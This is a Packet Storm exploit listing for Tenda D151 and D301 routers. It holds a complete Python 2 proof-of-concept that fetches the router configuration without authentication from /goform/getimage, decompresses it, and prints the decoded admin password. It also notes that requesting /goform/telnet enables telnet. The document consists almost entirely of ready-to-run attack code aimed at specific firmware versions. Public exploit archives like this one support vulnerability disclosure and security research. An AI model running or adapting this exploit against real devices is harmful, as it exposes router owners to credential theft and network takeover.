Tenda D151 / D301 Configuration Download

2021-04-21T00:00:00
ID PACKETSTORM:162273
Type packetstorm
Reporter BenChaliah
Modified 2021-04-21T00:00:00

Description

                                        
                                            `# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated)  
# Date: 19-04-2021  
# Exploit Author: BenChaliah  
# Author link: https://github.com/BenChaliah  
# Vendor Homepage: https://www.tendacn.com  
# Software Link: https://www.tendacn.com/us/download/detail-3331.html  
# Versions:   
# - D301 1.2.11.2_EN  
# - D301 V2.0 50.22.1.8_EN  
# - D151 V2.0 50.21.1.5_EN  
  
  
# --- Description --- #  
  
# This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage,  
# you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too.  
  
# --- Proof of concept --- #  
  
  
import struct  
import itertools  
import random, sys  
import requests  
import base64  
  
  
  
FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z"  
ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'}  
  
CLEAR_CODE = 256  
END_OF_CODE = CLEAR_CODE + 1  
  
MIN_WIDTH = 8  
DEFAULT_MIN_BITS = MIN_WIDTH + 1  
DEFAULT_MAX_BITS = 12  
  
  
  
  
def cmsDecoder(compressed_cfg):  
_cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))  
_cp_dict[CLEAR_CODE] = CLEAR_CODE  
_cp_dict[END_OF_CODE] = END_OF_CODE  
prefix, offset, ignore = None, 0, 0  
codepoints_arr, remainder, bits = [], [], []  
  
init_csize = len(_cp_dict)  
  
codesize = init_csize  
minwidth = MIN_WIDTH  
while (1 << minwidth) < codesize:  
minwidth = minwidth + 1  
pointwidth = minwidth  
  
buts_arr = []  
for b in compressed_cfg:  
value = struct.unpack("B", b)[0]  
for bitplusone in range(8, 0, -1):  
bitindex = bitplusone - 1  
buts_arr.append(1 & (value >> bitindex))  
  
for nextbit in buts_arr:  
offset = (offset + 1) % 8  
if ignore > 0:  
ignore = ignore - 1  
continue  
bits.append(nextbit)  
if len(bits) == pointwidth:  
cp_int = 0  
lsb_first = [b for b in bits]  
lsb_first.reverse()  
for bit_index in range(len(lsb_first)):  
if lsb_first[bit_index]:  
cp_int = cp_int | (1 << bit_index)  
  
bits = []  
codepoints_arr.append(cp_int)  
codesize = codesize + 1  
if cp_int in [CLEAR_CODE, END_OF_CODE]:  
codesize = init_csize  
pointwidth = minwidth  
else:  
while codesize >= (2 ** pointwidth):  
pointwidth = pointwidth + 1  
if cp_int == END_OF_CODE:  
ignore = (8 - offset) % 8  
  
  
decodedBytes = []  
for cp_int in codepoints_arr:  
  
suffix = ""  
if cp_int == CLEAR_CODE:  
_cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))  
_cp_dict[CLEAR_CODE] = CLEAR_CODE  
_cp_dict[END_OF_CODE] = END_OF_CODE  
prefix = None  
  
elif cp_int != END_OF_CODE:  
if cp_int in _cp_dict:  
suffix = _cp_dict[cp_int]  
if None != prefix:  
_cp_dict[len(_cp_dict)] = prefix + suffix[0]  
else:  
suffix = prefix + prefix[0]  
_cp_dict[len(_cp_dict)] = suffix  
prefix = suffix  
decoded = suffix  
for char in decoded:  
decodedBytes.append(char)  
return decodedBytes  
  
  
  
  
  
  
def exploit(ip):  
print "[!] Downloading config"  
try:  
r = requests.get("http://{}/goform/getimage".format(ip))  
pass  
except:  
print "[-] Failed to download the config, the target may not be vulnerable"  
  
BIN_CONTENT = r.content  
BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50]  
  
CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT))  
  
USER_, PASS_ = "", ""  
for i in ADMIN_LOG_CFG.keys():  
if i in CONFIG_XML:  
CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:]  
PASS_ = CONFIG_XML[:CONFIG_XML.index('</')]  
USER_ = ADMIN_LOG_CFG[i]  
print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00'))  
return 0  
print "[-] Failed to decode the config file\n"  
return -1  
  
  
  
if len(sys.argv) == 1:  
print "usage: python2 " + sys.argv[0] + " router_ip"  
print "example: python2 exploit.py http://192.168.1.1"  
exit()  
  
  
  
if __name__ == "__main__":  
  
print """\  
_ _  
___ (~ )( ~)  
/ \_\ \/ /   
| D_ ]\ \/ -- By BenCh@li@h  
| D _]/\ \ -- BenChaliah@github  
\___/ / /\ \\  
(_ )( _)  
  
"""  
  
try:  
exploit(sys.argv[1])  
except Exception as e:  
print str(e)  
  
`